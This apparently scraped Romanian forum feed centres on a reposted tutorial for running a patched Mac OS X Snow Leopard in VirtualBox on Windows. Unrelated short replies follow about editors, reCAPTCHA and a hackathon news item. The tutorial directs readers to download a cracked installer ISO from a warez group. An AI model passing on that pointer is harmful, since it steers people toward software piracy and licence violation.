How to Run Mac OS X in VirtualBox on Windows Author: Bobby Patton Sursa: How to Run Mac OS X in VirtualBox on Windows We've shown you how to install Snow Leopard in VMWare, but if you haven't purchased VMWare, you can now do it using previously mentioned, free program VirtualBox. Apart from VirtualBox, you'll also need an OSX86 ISO. The group Hazard has put out a good patched Snow Leopard installer that should do fine (just search for it on Google). Of course, if you feel bad about downloading the ISO of Snow Leopard, you could always go buy a copy to feel a bit better, karmically. After you have them both, install Virtualbox. Open up Virtualbox and click on New at the top left. At the Create New Virtual Machine window, click Next. At this window type OSX as the name and it will automatically change the system and version. The next window will let you choose your RAM amount: If you can spare it, crank it up as far as you can go, but 1024MB should be sufficient. This is where you'll make your hard disk. 20GB should be enough so what it comes down to is dynamic or static. Dynamic will expand on use and Static will be a fixed 20GB no matter how much data is actually in it. Dynamic is better for not taking up your hard drive but static should give you better performance. I normally use dynamic. Click next unless you want to change it from dynamic or if you want to increase the disk size or file location. It will show a summary of your settings. Click Finish, then click Settings at the top. At this window click on System in the left pane and uncheck Enable EFI. Now click on the Storage button on the left. From there click on Empty under the OSX.vdi, then click the folder with the green arrow on the right (next to "CD/DVD Device"). At this window click the Add button at the top. Then find and add the OSX86 ISO you downloaded earlier. Then highlight it and click Select at the bottom. Then click OK, and hit the Start button on the left side of the main VirtualBox window. As it starts up, click inside the window and hit F8. Then at the boot: prompt type –v so you can see what exactly went wrong if something does go wrong. All the services will run and eventually you should come to the language screen. Choose your language then click next. If you are unable to move your mouse around then hit Right-Ctrl + I. Click Continue and Agree. Next, start up Disk Utility by going to Utilities in the menu bar. At this screen highlight 20GB VBOX HARDDISK. Then click the Erase tab, name it what you want in the name box and click the Erase button on the bottom right of the window. It shouldn't take long. Then click Disk Utility in your menu bar and quit it. Now you're back at the installer. Highlight the drive that is now showing up and click Continue. The next window is important. Click the Customize button on the bottom left. AMD Users check: Any Updates included at the top. Drop down Kernels and choose Legacy kernel. AMD option below System support. Intel Users check: Any Updates included at the top. Drop down bootloaders and check the newest Chameleon. Drop down Kernels and choose Legacy kernel. Then click Done and hit the Install button. To speed up the process you can click Skip when the disc check pops up. As soon as it says "installation finished" and starts counting down to restart, press the right Ctrl key. Click on Devices at the top of the VirtualBox window, hit CD/DVD Devices and click Unmount CD/DVD Device. Then go to Machine > Reset and click Reset at the prompt. Next you'll see the Chameleon loader and then OS X will begin to boot. After it boots you will see the setup screens for OS X! You're good to go. The only hiccup I've found is that it can only be virtualized with one core. It could be the OSX disc I was using or it might not be. And I have yet to find the right kext that will allow audio to work and the resolution is limited also. But other than that you'll have a fully functioning OSX virtualized! Update: I'd like to post some answers to the resolution and audio. I should have looked around before posting this but I just didn't have the time. So anyways heres what you can do: To fix the resolution issue, open Finder and go to the OS X drive on the left. Open the folder called Extras. Right Click on the file com.Apple.Boot.plist and open it with TextEdit. Under the first insert this: Graphics Mode 1280x1024x32 or another compatible resolution. Select "Save As" at the top and save it to the desktop, unchecking the check under Unicode and then save it as com.apple.boot.plist. After that drag and drop it into the extras folder and overwrite the original file, entering your password when prompted. Instructions for the sound issue can be found here. Don't install system updates. If you want updates you'll have to install another iso distribution with the updates on it. If you install the updates directly from apple it messes with the custom kexts and chameleon. Just a forewarning. And for those of you getting boot issues try choosing a different version of Chameleon or a different kernel. Sometimes that seems to help. And If your getting one of the USB errors then try disabling USB in the VirtualBox settings and see if that helps. Tek411: OSX in Virtual Box (Hackintoshed VM)
-
Mue recaptcha. Orice, numai aia nu.
-
Vim si Emacs e naspa. Notepad++, Gedit si Kwrite imi plac.
-
Google, Microsoft, NASA si Yahoo organizeaza competitia de hacking legal
Nytro replied to Nytro's topic in Stiri securitate
Lumea inca e de parere ca hackerii sunt niste singuratici rupti de lume care lucreaza la subsolul unei case si ca nu au nici o legatura cu lumea exterioara, trist. -
Ban amandoi 2 zile, sa va mai calmati.
-
Google, Microsoft, NASA si Yahoo organizeaza competitia de hacking legal de Laurentiu Crisu | 3 decembrie 2010 Saptamana aceasta va avea loc cea de-a doua editie a competitiei Random Hacks of Kindness (RHoK), care se va desfasura in mai multe orase din intreaga lume si va aduce de aceeasi parte a baricadei atat hackerii cat si unii dintre cei mai buni ingineri software. Evenimentul, gazduit de Google, Microsoft, Yahoo, NASA si Banca Mondiala, se va desfasura pe 4-6 decembrie 2010 si isi propune sa foloseasca tehnologia pentru a face lumea un loc mai bun, prin construirea unei comunitati de inovatie. “Hackathon-ul”, dupa cum l-au numit reprezentantii, aduce laolalta cei mai talentati hackeri din toate colturile lumii, dezvoltatori de software si experti in computere, care isi dedica timpul pentru a rezolva probleme din lumea reala. La sfarsitul celor doua zile de concurs, o aplicatie va selecta echipa care merita titlul de “RHoKstars”. Hack-urile castigatore in cadrul primei editii a acestei competitii au fost folosite pentru a furniza asistenta de urgenta in timpul cutremurelor din Haiti si Chile. “Evenimentul le ofera hacker-ilor oportunitatea de a-si folosi abilitatile in scopuri nobile, sub indrumarea expertilor care inteleg provocarile vietii reale”, a declarat Todd Khozein, reprezentant al RHoK. Din pacate, niciun oras din Romania nu va gazdui acest concurs. Pentru cei care isi doresc insa sa participe, cea mai apropiata locatie de tara noastra ar fi Berlin, Germania. Sursa: Google, Microsoft, NASA si Yahoo organizeaza competitia de hacking legal | Hit.ro
-
E mult mai rapida versiunea simpla, ai doar o comparatie si o atribuire, nu o gramada de calcule. In plus apelezi 2 functii, si apelurile de functii sunt consumatoare si de resurse (stiva) si de procesor (revenire din functie...). Dar asta conteaza doar daca faci milioane de apeluri ale functie pentru maxim.
-
Fara Java sau Flash, fisierele se pot descarca de catre altcineva in timp ce se uploadeaza... http://ge.tt/
-
1) Cu ce te ajuta asta? 2) Sunt intrebari care nu primesc nici un raspuns, in veci, ai atata rabdare? De ce sa nu se raspunda la o intrebare? 3) Care e rostul, invatam sa numaram? Idei stupide.